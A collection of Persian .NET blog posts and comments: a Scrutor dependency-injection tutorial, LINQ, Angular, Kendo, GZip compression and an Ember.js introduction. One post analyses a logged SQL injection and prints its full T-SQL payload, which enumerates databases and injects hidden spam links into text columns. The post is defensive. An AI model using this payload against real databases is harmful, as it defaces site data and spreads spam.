نظرات مطالب
YVD
سلام
ممنون.
نگارش جدید را لطفا از آدرس زیر دریافت کنید:
http://rapidshare.com/files/372726079/YVD_0.3_setup.exe
نظرات مطالب
YVD
گوگل مجددا تغییر و تحول داده ... نگارش جدید را از آدرس زیر دریافت کنید:
http://www.box.net/shared/r39ku8urdk
مطالب
مهارت‌های تزریق وابستگی‌ها در برنامه‌های NET Core. - قسمت هشتم - ساده سازی معرفی سرویس‌ها توسط Scrutor
قابلیت‌های قرار گرفته‌ی در اسمبلی Microsoft.Extensions.DependencyInjection که پایه‌ی تزریق وابستگی‌های برنامه‌های مبتنی بر NET Core. را ارائه می‌دهد، برای پیاده سازی اکثر پروژه‌ها کافی است. اما اگر از نگارش‌های پیشین ASP.NET MVC به ASP.NET Core مهاجرت کرده باشید، حتما با قابلیت‌های ویژه‌ی اسکن اسمبلی‌های موجود در IoC Containers ثالث، جهت ساده سازی معرفی سرویس‌های برنامه به سیستم تزریق وابستگی‌ها، آشنایی دارید. برای مثال StructureMap قابلیت اسکن اسمبلی‌های موجود در برنامه و معرفی اینترفیس‌ها و سرویس‌های موجود در آن‌را به Container خود دارد:
var container = new Container(x =>
            {
                x.Scan(scanner =>
                {
                    scanner.AssemblyContainingType<IOrderHandler>();
                    // connects `IAccounting` to `Accounting` and `ISales` to `Sales` automatically.
                    scanner.WithDefaultConventions();
                });
            });
و یا AutoFac نیز به همین صورت:
builder.RegisterAssemblyTypes(myAssembly)
    .Where(t => t.IsAssignableTo<IMyInterface>())
    .AsImplementedInterfaces();
البته می‌توان مجددا به تمام این قابلیت‌ها رسید؛ به شرطی‌که سیستم تزریق وابستگی‌های پایه‌ی NET Core. را با یکی از IoC Containers ثالث به طور کامل تعویض کنیم. اگر قصد چنین تعویض پایه‌ای را ندارید و هنوز قصد دارید از همان Microsoft.Extensions.DependencyInjection استفاده کنید، اما تعدادی متد الحاقی جدید تعریف شده‌ی بر فراز آن، کار اسکن کردن اسمبلی‌ها را مانند قبل انجام دهند، می‌توان از کتابخانه‌ی کمکی Scrutor استفاده کرد. این کتابخانه، جایگزین سیستم تزریق وابستگی‌های توکار برنامه‌های NET Core. نیست؛ بلکه صرفا مکمل آن است.


دریافت و نصب کتابخانه‌ی کمکی Scrutor

کتابخانه‌ی کمکی Scrutor سورس باز بوده و بسته‌ی NuGet آن توسط یکی از دستورات زیر به پروژه افزوده می‌شود:
> Install-Package Scrutor
> dotnet add package Scrutor
و یا به صورت مدخلی جدید در فایل csproj:
<Project Sdk="Microsoft.NET.Sdk.Web">
  <ItemGroup>
    <PackageReference Include="Scrutor" Version="3.0.2" />
  </ItemGroup>
</Project>


ثبت و معرفی ساده‌تر سرویس‌ها بر اساس قواعد نامگذاری آن‌ها توسط Scrutor

فرض کنید تعدادی سرویس را به صورت زیر تعریف کرده‌اید:
namespace CoreIocServices
{
    public interface IFoo
    {
        void Run();
    }

    public class Foo : IFoo
    {
        public void Run()
        {
            throw new System.NotImplementedException();
        }
    }

    public interface IBar
    {
        void Add();
    }

    public class Bar : IBar
    {
        public void Add()
        {
            throw new System.NotImplementedException();
        }
    }


    public interface IBaz
    {
        void Stop();
    }

    public class Baz : IBaz
    {
        public void Stop()
        {
            throw new System.NotImplementedException();
        }
    }
}
روش متداول معرفی آن‌ها به IoC Container برنامه به صورت زیر است:
services.AddScoped<IFoo, Foo>();
services.AddScoped<IBar, Bar>();
services.AddScoped<IBaz, Baz>();
و هرچقدر تعداد سرویس‌های برنامه بیشتر شود، سطرهای فوق نیز بیشتر خواهند شد.
در اینجا در حین تعریف سرویس‌های فوق این روش نامگذاری رعایت شده‌است: هر اینترفیس، نامش یک I بیشتر از نام کلاس مشتق شده‌ی از آن دارد؛ مانند اینترفیس IFoo و کلاس Foo. کتابخانه‌ی StructureMap که در ابتدای بحث معرفی شد، کار اسکن و اتصال یک چنین سرویس‌هایی را با تعریف scanner.WithDefaultConventions انجام می‌دهد. معادل آن با Scrutor به صورت زیر است:
namespace CoreIocSample02
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.Scan(scan =>
                //scan.FromCallingAssembly()
                scan.FromAssemblyOf<IFoo>()
                    .AddClasses()
                    .AsMatchingInterface()
                    .WithScopedLifetime());
تعریف فوق به این معنا است:
- scan.FromAssemblyOf کار اسکن اسمبلی را انجام می‌دهد که نوع IFoo در آن قرار دارد. اگر از scan.FromCallingAssembly استفاده کنیم، به این معنا است که کار اسکن را دقیقا از همین اسمبلی فراخوان کدهای جاری، شروع کن. اما چون IFoo تعریف شده، در یک پروژه و اسمبلی دیگر قرار دارد، به همین جهت نیاز به ذکر صریح اسمبلی آن نیز هست.
- AddClasses یعنی تمام کلاس‌های public, non-abstract را به لیست services اضافه کن.
- AsMatchingInterface یعنی بر اساس قرارداد نامگذاری IClassName و ClassName، اتصالات سرویس‌ها را انجام بده.
بجای آن می‌توان از AsImplementedInterfaces نیز استفاده کرد. این حالت برای زمانی مناسب است که یک کلاس، چندین اینترفیس را پیاده سازی کند (مثلا کلاس TestService اینترفیس‌های ITestService و IService را پیاده سازی کرده باشد) و علاقمند باشید به ازای هر اینترفیس، یکبار سرویس آن نیز ثبت شود؛ کاری مانند تنظیمات زیر:
services.AddScoped<ITestService, TestService>();
services.AddScoped<IService, TestService>();
یا حتی می‌توان از متد ()<As<T نیز استفاده کرد. در اینجا به Scrutor گفته می‌شود که تمام کلاس‌های یافت شده را بر اساس نوع سرویس T ثبت و معرفی کن. البته اگر کلاسی نتواند نوع اینترفیس T را پیاده سازی کند، در زمان اجرا با استثناء مواجه خواهید شد.
- WithScopedLifetime نیز طول عمر این سرویس‌های اضافه شده را مشخص می‌کند. در اینجا می‌توان WithTransientLifetime و WithSingletonLifetime را نیز ذکر کرد.

بنابراین همانطور که ملاحظه می‌کنید، هنوز هم همان سیستم Microsoft.Extensions.DependencyInjection برقرار است؛ اما با وجود متد الحاقی جدید Scan، کار تعاریف سرویس‌های برنامه به شدت ساده می‌شود.


کار با وهله‌های کلاس‌های سرویس‌ها بجای اینترفیس‌های آن توسط Scrutor

می‌خواهیم مثال سوم قسمت ششم «چگونه بجای اینترفیس‌ها، یک وهله از کلاسی مشخص را از سیستم تزریق وابستگی‌ها درخواست کنیم؟» را توسط Scrutor پیاده سازی کنیم:
namespace CoreIocServices
{
    public interface IService { }
    public class Service1 : IService { }
    public class Service2 : IService { }
    public class Service : IService { }
}
در حالت متداول آن می‌توان از روش زیر نیز استفاده کرد:
services.AddTransient<Service1>();
services.AddTransient<Service2>();
services.AddTransient<Service>();
که با افزایش تعداد کلاس‌های سرویس برنامه به همین نحو نیز افزایش خواهند یافت. معادل این تنظیمات با Scrutor به صورت زیر است:
namespace CoreIocSample02
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.Scan(scan =>
              //scan.FromCallingAssembly()
              scan.FromAssemblyOf<IService>()
                  .AddClasses()
                  .AsSelf()
                  .WithTransientLifetime());
در اینجا اسمبلی حاوی IService اسکن خواهد شد و سپس تمام کلاس‌های public, non-abstract آن AsSelf (ثبت پیاده سازی خود کلاس به عنوان سرویس) با طول عمر Transient به لیست services اضافه می‌شوند و یا اگر صرفا تعدادی سرویس مشخص مد نظر بود می‌توان به صورت زیر عمل کرد:
services.Scan(scan =>
               scan.AddTypes(new[] { typeof(Service1), typeof(Service2) })
                   .AsSelf()
                   .WithTransientLifetime());
متدهایی که در Scrutor، یک پیاده سازی را به عنوان سرویس معرفی می‌کنند، شامل این موارد هستند:
AsSelf: معادل ()<services.AddTransient<TestService است. در این حالت کلاس‌هایی که اینترفیسی را پیاده سازی نمی‌کنند و یا در کل مایل هستید که از طریق تزریق وابستگی‌ها در دسترس باشند، می‌توان توسط متد AsSelf به سیستم معرفی کرد.
AsSelfWithInterfaces: معادل تنظیمات زیر است:
services.AddSingleton<TestService>();
services.AddSingleton<ITestService>(x => x.GetRequiredService<TestService>());
services.AddSingleton<IService>(x => x.GetRequiredService<TestService>());
فرض کنید کلاس TestService اینترفیس‌های ITestService و IService را پیاده سازی کرده باشد. با استفاده از AsSelfWithInterfaces، یکبار پیاده سازی خود سرویس به سیستم معرفی می‌شود، سپس به ازای هر اینترفیس، از همان وهله‌ی TestService برای وهله سازی سرویس‌های ITestService و IService نیز استفاده می‌شود.


روش‌های متفاوت اسکن اسمبلی‌ها در Scrutor

Scrutor به همراه روش‌های متعددی برای تعریف اسمبلی یا اسمبلی‌هایی است که باید اسکن شوند و نمونه‌ای از آن‌را با FromAssemblyOf بررسی کردیم:
services.Scan(scan =>
              //scan.FromCallingAssembly()
              scan.FromAssemblyOf<IService>()
سایر موارد آن به شرح زیر هستند:
الف) FromAssemblyOf<>, FromAssembliesOf : اسمبلی یا اسمبلی‌هایی که نوع یا نوع‌های تعیین شده را به همراه دارند، اسکن می‌کند.
ب) FromCallingAssembly, FromExecutingAssembly, FromEntryAssembly کار اسکن اسمبلی‌های فراخوان، اسمبلی که هم اکنون در حال اجرا است و اسمبلی آغازین برنامه را انجام می‌دهند.
ج) FromAssemblyDependencies: تمام اسمبلی‌هایی را که وابسته‌ی به اسمبلی معرفی شده‌ی به آن هستند، اسکن می‌کند.
د) FromApplicationDependencies, FromDependencyContext: تمام اسمبلی‌هایی را که توسط برنامه، ارجاعی به آن‌ها وجود دارند، اسکن می‌کند.


انتخاب دقیق‌تر کلاس‌ها و سرویس‌های مدنظر توسط Scrutor

شاید عملکرد کلی متد AddClasses مدنظر شما نباشد و نیاز به انتخاب دقیق‌تری از سرویس‌های اسکن شده را داشته باشید؛ برای این مورد نیز Scrutor روش‌های زیر را ارائه می‌دهد. برای مثال خود کلاس AddClasses دارای overloadهای زیر نیز هست:
    public interface IImplementationTypeSelector : IAssemblySelector, IFluentInterface
    {
        IServiceTypeSelector AddClasses();
        IServiceTypeSelector AddClasses(bool publicOnly);
        IServiceTypeSelector AddClasses(Action<IImplementationTypeFilter> action);
        IServiceTypeSelector AddClasses(Action<IImplementationTypeFilter> action, bool publicOnly);
    }
حالت پیش‌فرض آن انتخاب تمام کلاس‌های public, non-abstract است. اگر پارامتر publicOnly را با false مقدار دهی کنید، internal/private nested classes را نیز انتخاب می‌کند. پارامتر action ای که در اینجا درنظر گرفته شده، جهت فیلتر کردن سرویس‌های انتخابی است که تعدادی از مثال‌های آن‌را در زیر بررسی می‌کنیم:
services.Scan(scan => scan
              .FromAssemblyOf<IService>()
                .AddClasses(classes => classes.AssignableTo<IService>())
// .AddClasses(classes => classes.InNamespaces("MyApp")) 
// .AddClasses(classes => classes.Where(type => type.Name.EndsWith("Repository")) 
                    .AsImplementedInterfaces()
                    .WithTransientLifetime());
در اینجا در حالت اول، کلاس‌هایی که صرفا اینترفیس IService را پیاده سازی کرده باشند، انتخاب می‌شوند. حالت دوم آن، انتخاب‌ها را به یک فضای نام محدود می‌کند و حالت سوم اگر نام کلاسی به Repository ختم شود، آن‌را به عنوان سرویس انتخاب خواهد کرد.


مدیریت جایگزینی سرویس‌ها توسط Scrutor

یکی از مزیت‌های طراحی یک برنامه با درنظر گرفتن الگوی تزریق وابستگی‌ها، امکان جایگزین کردن سرویس‌های پیش‌فرض آن با سرویس‌های دیگری است. فرض کنید کتابخانه‌ای ارائه شده و از الگوریتم هش کردن X استفاده کرده‌است؛ اما شما علاقمندید تا از الگوریتم Y بجای آن استفاده کنید. اگر این کتابخانه وهله‌ی الگوریتم هش کردن را از طریق تزریق وابستگی‌ها تامین کرده باشد، فقط کافی است در ابتدای معرفی تنظیمات تزریق وابستگی‌های آن، سرویس الگوریتم هش کردن موجود را با نمونه‌ی خاص خودتان جایگزین کنید.
اکنون فرض کنید پیش از استفاده‌ی از Scrutor، تعدادی سرویس را به روش متداولی ثبت و معرفی کرده‌اید:
services.AddTransient<ITransientService, TransientService>();
services.AddScoped<IScopedService, ScopedService>();
حال که قرار است متد Scan آن، سرویس‌های یک اسمبلی را به لیست موجود اضافه کند، به سرویس‌های زیر می‌رسد:
public class TransientService : IFooService {}
public class AnotherService : IScopedService {}
 رفتار آن با سرویس‌های معادلی که از پیش ثبت شده‌اند چگونه باید باشد؟ برای مدیریت این مساله، متد UsingRegistrationStrategy پیش بینی شده‌است:
services.Scan(scan =>
                scan.FromAssemblyOf<IFoo>()
                    .AddClasses()
                    .UsingRegistrationStrategy(RegistrationStrategy.Skip)
                    .AsMatchingInterface()
                    .WithScopedLifetime());
و پارامتر دریافتی آن یک چنین امضایی را دارد:
namespace Scrutor
{
    public abstract class RegistrationStrategy
    {
        public static readonly RegistrationStrategy Skip;
        public static readonly RegistrationStrategy Append;
        protected RegistrationStrategy();
        public static RegistrationStrategy Replace();
        public static RegistrationStrategy Replace(ReplacementBehavior behavior);
        public abstract void Apply(IServiceCollection services, ServiceDescriptor descriptor);
    }
}
- حالت Append آن که حالت پیش‌فرض نیز هست، تمام سرویس‌های یافت شده را به لیست IServiceCollection اضافه می‌کند؛ صرفنظر از اینکه پیشتر ثبت شده‌است یا خیر.
- حالت Skip آن، سرویسی را تکراری ثبت نمی‌کند. یعنی اگر سرویسی پیشتر در مجموعه‌ی IServiceCollection موجود بود، مجددا آن‌را ثبت نمی‌کند.

سپس نوبت به متدهای Replace می‌رسد که یک چنین پارامتری را قبول می‌کنند:
namespace Scrutor
{
    [Flags]
    public enum ReplacementBehavior
    {
        Default = 0,
        ServiceType = 1,
        ImplementationType = 2,
        All = 3
    }
}
- در حالت استفاده‌ی از Replace(​ReplacementBehavior.​ServiceType)، اگر سرویسی پیشتر در لیست IServiceCollection ثبت شده باشد، آن‌را حذف کرده و سپس نمونه‌ی جدید را ثبت می‌کند (ثبت سرویس بر اساس اینترفیس و پیاده سازی آن).
- در حالت استفاده‌ی از Replace(​ReplacementBehavior.​ImplementationType)، اگر پیاده سازی کلاسی پیشتر در لیست IServiceCollection ثبت شده باشد، آن‌را حذف کرده و سپس نمونه‌ی جدید را ثبت می‌کند (ثبت سرویس صرفا بر اساس نام کلاس آن).
- حالت Replace(​ReplacementBehavior.All) هر دو حالت قبل را با هم شامل می‌شود.


امکان ترکیب چندین استراتژی جستجو با هم توسط Scrutor

در یک برنامه‌ی واقعی غیرممکن است که بخواهید تمام کلاس‌ها را با یک طول عمر، اسکن و ثبت کنید. برای این منظور می‌توان از قابلیت فیلتر کردن کلاس‌ها که در مورد آن بحث شد و همچنین امکان ترکیب زنجیر وار حالت‌های مختلف اسکن، استفاده کرد:
services.Scan(scan => scan 
  .FromAssemblyOf<CombinedService>() 
    .AddClasses(classes => classes.AssignableTo<ICombinedService>()) // Filter classes 
      .AsSelfWithInterfaces() 
      .WithSingletonLifetime() 
 
    .AddClasses(x=> x.AssignableTo(typeof(IOpenGeneric<>))) // Can close generic types 
      .AsMatchingInterface() 
 
    .AddClasses(x=> x.InNamespaceOf<MyClass>()) 
      .UsingRegistrationStrategy(RegistrationStrategy.Replace()) // Defaults to ReplacementBehavior.ServiceType 
      .AsMatchingInterface() 
      .WithScopedLifetime() 
 
  .FromAssemblyOf<DatabaseContext>()   // Can load from multiple assemblies within one Scan() 
    .AddClasses()  
      .AsImplementedInterfaces() 
);
نظرات مطالب
کوئری نویسی در EF Core - قسمت دوم - کوئری‌های ساده
 عملگر All در LINQ این امکان را فراهم می‌کند ، که کنترل کنیم آیا همه عناصر یک مجموعه یک شرط خاص را پاس می‌کنند : 
int[] scores;
scores = new[] {1, 2, 3, 4};
scores.All(x=> x > 0); //true
scores = new[] {-1, -2, 3, 4};
scores.All(x => x > 0);//false

نظرات مطالب
احراز هویت و اعتبارسنجی کاربران در برنامه‌های Angular - قسمت ششم - کار با منابع محافظت شده‌ی سمت سرور
زمانیکه از متد http به جای  httpClient برای استفاده از داده‌های محافظت شده سمت سرور استفاده میکنم اجازه دسترسی به آنها را نمیدهد و در هدر ارسال شده این پیام رو نشان میدهد:   
Request URL: http://localhost:5000/api/office?page=1&pageSize=5
Request Method: GET
Status Code: 401 Unauthorized
Remote Address: [::1]:5000
Referrer Policy: no-referrer-when-downgrade
مطالب
نمونه‌ای از تزریق اس کیوال جهت درج تبلیغات مخفی شده‌ی در رکوردهای سایت
مدتی هست در لاگ‌های ELMAH سایت، یک چنین تزریق‌های اس کیوال ناموفقی مشاهده می‌شوند:


اگر اخیرا به دیتابیس شما رکوردهایی با divهای نامرئی ("div style="display:none) که داخل آن‌ها تبلیغات یک سری سایت‌های کذایی وجود دارند، اضافه شده‌اند، حتما مورد حمله‌ی SQL Injection فوق واقع شده‌اید.

مواردی را که باید بررسی کنید:
الف) آیا در سایت، قسمت ثبت ارجاعات را دارید؟
قبل از اینکه HTTP Referrer را بررسی کنید، یکبار آن‌را به عنوان پارامتر سازنده‌ی new Uri قرار دهید. به این صورت این حمله دقیقا در همین مرحله، با صدور یک استثناء، به علت معتبر نبودن آدرس دریافتی متوقف می‌شود:


ب) آیا در سایت، نوع مرورگرهای کاربران را نیز ذخیره می‌کنید؟
با توجه به شکل اول، این حمله تنها زمانی مؤثر خواهد بود که از کوئری‌های غیرپارامتری و یا از ORMها استفاده نمی‌کنید.

ج) آیا به محتوای دریافت شده‌ی از طریق کوئری استرینگ‌ها دقت دارید؟
این مورد نیز همانند حالت ب است.


بررسی ساختار این حمله

کوئری ارسالی (البته با حذف آدرس سایت‌های کذایی آن)، یک چنین فرمتی را دارد:
DECLARE @b AS CURSOR;

DECLARE @s AS VARCHAR (8000);

DECLARE @w AS VARCHAR (99);

SET @b = CURSOR
    FOR SELECT DB_NAME()
        UNION
        SELECT name
        FROM   sys.databases
        WHERE  (has_dbaccess(name) != 0)
               AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME());

OPEN @b;

FETCH NEXT FROM @b INTO @w;

WHILE @@FETCH_STATUS = 0
    BEGIN
        SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set 
[''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a 
href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>'''' 
else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 
WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while 
@@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';
        EXECUTE (@s);
        FETCH NEXT FROM @b INTO @w;
    END

CLOSE @b;
در اینجا ابتدا لیست بانک‌های اطلاعاتی موجود دریافت می‌شوند. سپس با استفاده از try/catch سعی در به روز رسانی رکوردهای جداولی که دارای فیلدهایی از نوع varchar یا nvarchar از نوع max هستند، می‌کند. از try/catch هم به این دلیل استفاده کرده‌است که در یک سایت اشتراکی، شما فقط به بانک اطلاعاتی خودتان دسترسی دارید و البته اگر از کاربر sa استفاده می‌کنید که ... هم اکنون تمام بانک‌های اطلاعاتی شما آلوده شده‌اند!
به روز رسانی آن هم رندام است. یعنی در یک سری رکورد، بر اساس case نوشته شده، تبلیغ خواندن و در یک سری دیگر، تبلیغ داستانی را در انتهای آن‌ها درج می‌کند.
نظرات مطالب
فعال سازی عملیات CRUD در Kendo UI Grid
جهت فعالسازی صحیح ویرایش دسته ای ابتدا یک کلاس بعنوان مثال بنام ProductsRequest با خاصیتی بنام Models، نام خاصیت مهم است و حتما باید نامش Models باشد و نباید تغییری کند به دلیل نگاشت توکار و پیش فرض Kendo، ایجاد گردد.
public class ProductsRequest
{
    // نام این خاصیت نباید تغییر یابد
    public IEnumerable<Product> Models { get; set; }
}

سپس در متد آپدیت بعنوان پارامتر معرفی گردد.
public HttpResponseMessage Update(ProductsRequest products)
{
از این پس پارامترهای اطلاعات ارسالی از parameterMap به این کلاس نگاشت خواهد شد و دسترسی مهیا خواهد شد. توجه داشته باشید این روش برای درج دسته ای نیاز کاربرد دارد.
مطالب
فشرده سازی خروجی یک وب سرویس

جهت بهینه سازی روش ارائه شده در مقاله "بارگذاری یک یوزرکنترل با استفاده از جی‌کوئری" ، می‌توان مبحث فشرده سازی را نیز به آن افزود.
برای این منظور نیاز است تا بتوان response حاصل را کاملا کنترل کرد و این مورد از طریق یک http module به خوبی قابل انجام است. مبحث http compression و پیاده سازی آن‌را احتمالا بارها در سایت‌های مختلف نیز دیده‌اید:

using System;
using System.IO;
using System.IO.Compression;
using System.Globalization;
using System.Web;


public class JsonCompressionModule : IHttpModule
{
public JsonCompressionModule()
{
}

public void Dispose()
{
}

public void Init(HttpApplication app)
{
app.PreRequestHandlerExecute += new EventHandler(Compress);
}

private void Compress(object sender, EventArgs e)
{
HttpApplication app = (HttpApplication)sender;
HttpRequest request = app.Request;
HttpResponse response = app.Response;

if (request.ContentType.ToLower(CultureInfo.InvariantCulture).StartsWith("application/json"))
{
if (!((request.Browser.IsBrowser("IE")) && (request.Browser.MajorVersion <= 6)))
{
string acceptEncoding = request.Headers["Accept-Encoding"];

if (!string.IsNullOrEmpty(acceptEncoding))
{
acceptEncoding = acceptEncoding.ToLower(CultureInfo.InvariantCulture);

if (acceptEncoding.Contains("gzip"))
{
response.Filter = new GZipStream(response.Filter, CompressionMode.Compress);
response.AddHeader("Content-encoding", "gzip");
}
else if (acceptEncoding.Contains("deflate"))
{
response.Filter = new DeflateStream(response.Filter, CompressionMode.Compress);
response.AddHeader("Content-encoding", "deflate");
}
}
}
}
}
}
در این ماژول تنها درخواست‌هایی از نوع application/json بررسی خواهند شد. هر چند این فشرده سازی را بر روی خروجی هر نوع WebMethod ایی نیز می‌توان اعمال کرد. در این حالت، سطر بررسی json را حذف کرده و آن‌را به صورت زیر تغییر دهید:

if ( !request.Url.PathAndQuery.ToLower().Contains( ".asmx" ) )
return;
مرورگر IE6 و پایین‌تر نیز از این فشرده سازی معاف شده‌اند (چون یا پشتیبانی کاملی را ارائه نمی‌دهند یا باید منتظر کرش مرورگر بود).

جهت اعمال این ماژول به برنامه ASP.Net خود، کافی است سطر زیر را به قسمت httpModules وب کانفیگ افزود:

<httpModules>
<add name="JsonCompressionModule" type="JsonCompressionModule"/>
</httpModules>
روش آزمایش ماژول تهیه شده:

متاسفانه افزونه‌ی فایرباگ فایرفاکس اندازه‌ی نهایی response را نمایش می‌دهد و در گزارش آن حتی خبری از Content-encoding اضافه شده نیز نخواهد بود. بنابراین برای بررسی این روش مناسب نیست.
ابزار دیگری که اساسا برای این نوع آزمایشات طراحی شد‌ه است، برنامه معروف فیدلر می‌باشد (که توسط مدیر پروژه تیم IE برنامه نویسی شده است).
برای استفاده از فیدلر جهت دیباگ درخواست‌های local باید یک نکته‌ی کوچک را رعایت کرد:
http://localhost.:25413/

همانطور که در URL فوق مشاهده می‌کنید یک نقطه پس از localhost اضافه شده است تا خروجی محلی مربوطه قابل بررسی شود.



مطابق تصویر فوق، هم content-encoding اضافه شده مشخص است و هم حجم پاسخ دریافتی از 40 کیلوبایت (بر اساس یک تست معمولی روی صفحه‌ای مشخص) به نزدیک یک کیلوبایت و اندی کاهش یافته است.


مطالب
شروع به کار با Ember.js
Ember.js کتابخانه‌ای است جهت ساده سازی تولید برنامه‌های تک صفحه‌ای وب. برنامه‌هایی که شبیه به برنامه‌های دسکتاپ در مرورگر کاربر عمل می‌کنند. دو برنامه نویس اصلی آن Yehuda Katz که عضو اصلی تیم‌های jQuery و Ruby on Rails است و Tom Dale که ابتدا SproutCore را به وجود آورد و بعدها به Ember.js تغییر نام یافت، هستند.

منابع اصلی Ember.js

پیش از شروع به بحث نیاز است با تعدادی از سایت‌های اصلی مرتبط با Ember.js آشنا شد:
سایت اصلی: http://emberjs.com
مخزن کدهای آن: https://github.com/emberjs
انجمن اختصاصی پرسش و پاسخ: http://discuss.emberjs.com
موتور قالب‌های آن: http://handlebarsjs.com
لیست منابع مطالعاتی مرتبط مانند ویدیوهای آموزشی و لیست مقالات موجود: http://emberwatch.com
و بسته‌ی نیوگت آن: https://www.nuget.org/packages/EmberJS



مفاهیم پایه‌ای Ember.js

شیء Application
 App = Ember.Application.create();
یک برنامه‌ی Ember.js با تعریف وهله‌ای از شیء Application آن آغاز می‌شود. با اینکار به صورت خودکار رویدادگردان‌هایی به صفحه اضافه می‌شوند. کامپوننت‌های پیش فرض آن ایجاد شده و همچنین قالب اصلی برنامه رندر می‌شود.

مسیر یابی
با مرور قسمت‌های مختلف برنامه توسط کاربر، نیاز است حالات برنامه را مدیریت کرد؛ اینجا است که کار قسمت مسیریابی شروع می‌شود. مسیریابی، منابع مورد نیاز جهت آدرس‌های مشخصی را تامین می‌کند.
App.Router.map(function() {
    this.resource('accounts'); // takes us to /accounts
    this.resource('gallery'); // takes us to /gallery
});
در اینجا نحوه‌ی تعریف آغازین مسیریابی Ember.js را مشاهده می‌کنید که توسط متد resource آن مسیرهای قابل ارائه توسط برنامه مشخص می‌شوند.
به این ترتیب مسیرهای accounts/ و gallery/ قابل پردازش خواهند شد.

این مسیرها، تو در تو نیز می‌توانند باشند. برای مثال:
App.Router.map(function() {
    this.resource('news', function() {
        this.resource('images', function () { // takes us to /news/images
            this.route('add');// takes us to /news/images/add
        });
    });
});
به این ترتیب نحوه‌ی تعریف مسیریابی آدرس news/images/add را مشاهده می‌کنید. همچنین در این مثال از دو متد resource و route استفاده شده‌است. از متد resource برای حالت تعریف اسامی استفاده کنید و از متد route برای تعریف افعال و تغییر دهنده‌ها. برای نمونه در اینجا فعل افزودن تصاویر با متد route مشخص شده‌است.


مدل‌ها
مدل‌ها همان اشیایی هستند که برنامه مورد استفاده قرار می‌دهد و می‌توانند یک آرایه‌ی ساده و یا اشیاء JSON دریافتی از وب سرور باشند.
حداقل به دو روش می‌توان مدل‌ها را تعریف کرد:
الف) با استفاده از افزونه‌ی Ember Data
ب) با کمک شیء Ember.Object
App.SiteLink = Ember.Object.extend({});
App.SiteLink.reopenClass({
    findAll: function() {
        var links = [];
        //… $.getJSON …

        return links;
    }
});
ابتدا یک زیرکلاس از Ember.Object به کمک متد extend ایجاد خواهد شد. سپس از متد توکار reopenClass برای توسعه‌ی API کمک خواهیم گرفت.
در ادامه متد دلخواهی را ایجاد کرده و برای مثال آرایه‌ای از اشیاء دلخواه جاوا اسکریپتی را بازگشت خواهیم داد.
پس از تعریف مدل، نیاز است آن‌را به سیستم مسیریابی معرفی کرد:
App.GalleryRoute = Ember.Route.extend({
    model: function() {
        return App.SiteLink.findAll();
    }
});
به این ترتیب زمانیکه کاربر به آدرس gallery/ مراجعه می‌کند، دسترسی به model وجود خواهد داشت. در اینجا model یک واژه‌ی کلیدی است.


کنترلرها
کنترلرها جهت ارائه‌ی اطلاعات مدل‌ها به View و قالب برنامه تعریف می‌شوند. در اینجا همیشه باید بخاطر داشت که model تامین کننده‌ی اطلاعات است. کنترلر جهت در معرض دید قرار دادن این اطلاعات، به View برنامه کاربرد دارد و مدل‌ها هیچ اطلاعی از وجود کنترلرها ندارند.
کنترلرها علاوه بر اطلاعات model، می‌توانند حاوی یک سری خواص و اشیاء صرفا نمایشی که قرار نیست در بانک اطلاعاتی ذخیره شوند نیز باشند.
در Ember.js قالب‌ها (templates) اطلاعات خود را از کنترلر دریافت می‌کنند. کنترلرها اطلاعات مدل را به همراه سایر خواص نمایشی مورد نیاز در اختیار View و قالب‌های برنامه قرار می‌دهند.


برای تعریف یک کنترلر می‌توان درون شیء مسیریابی، با تعریف متد setupController شروع کرد:
App.GalleryRoute = Ember.Route.extend({
    setupController: function(controller) {
        controller.set('content', ['red', 'yellow', 'blue']);
    }
});
در این مثال یک خاصیت دلخواه به نام content تعریف و سپس آرایه‌ای به آن انتساب داده شده‌است.

روش دوم تعریف کنترلرها با ایجاد یک زیر کلاس از شیء Ember.Controller انجام می‌شود:
App.GalleryController = Ember.Controller.extend({
    search: '',
    content: ['red', 'yellow', 'blue'],
    query: function() {
        var data = this.get('search');
        this.transitionToRoute('search', { query: data });
    }
});


قالب‌ها یا templates
قالب‌ها قسمت‌های اصلی رابط کاربری را تشکیل خواهند داد. در اینجا از کتابخانه‌ای به نام handlebars برای تهیه قالب‌های سمت کاربر کمک گرفته می‌شود.
<script type="text/x-handlebars" data-template-name="sayhello">
    Hello,
    <strong>{{firstName}} {{lastName}}</strong>!
</script>
این قالب‌ها توسط تگ اسکریپت تعریف شده و نوع آن‌ها text/x-handlebars مشخص می‌شود. به این ترتیب Ember.js، این قسمت از صفحه را یافته و عبارات داخل {{}} را با مقادیر دریافتی از کنترلر جایگزین می‌کند.
<script type="text/x-handlebars" data-template-name="sayhello">
    Hello,
    <strong>{{firstName}} {{lastName}}</strong>!
 
    {{#if person}}
    Welcome back,
    <strong>{{person.firstName}} {{person.lastName}}</strong>!
    {{/if}}
 
    <ul>
        {{#each friend in friends}}
        <li>
            {{friend.name}}
        </li>
        {{/each}}
    </ul>
 
    <img {{bindAttr src="link.url" }} />
    {{#linkTo ''about}}About{{/linkTo}}
</script>
در این مثال نحوه‌ی تعریف عبارات شرطی و یا یک حلقه را نیز مشاهده می‌کنید. همچنین امکان اتصال به ویژگی‌هایی مانند src یک تصویر و یا ایجاد لینک‌ها را نیز دارا است.
بهترین مرجع آشنایی با ریز جزئیات کتابخانه‌ی handlebars، مراجعه به سایت اصلی آن است.


قواعد پیش فرض نامگذاری در Ember.js
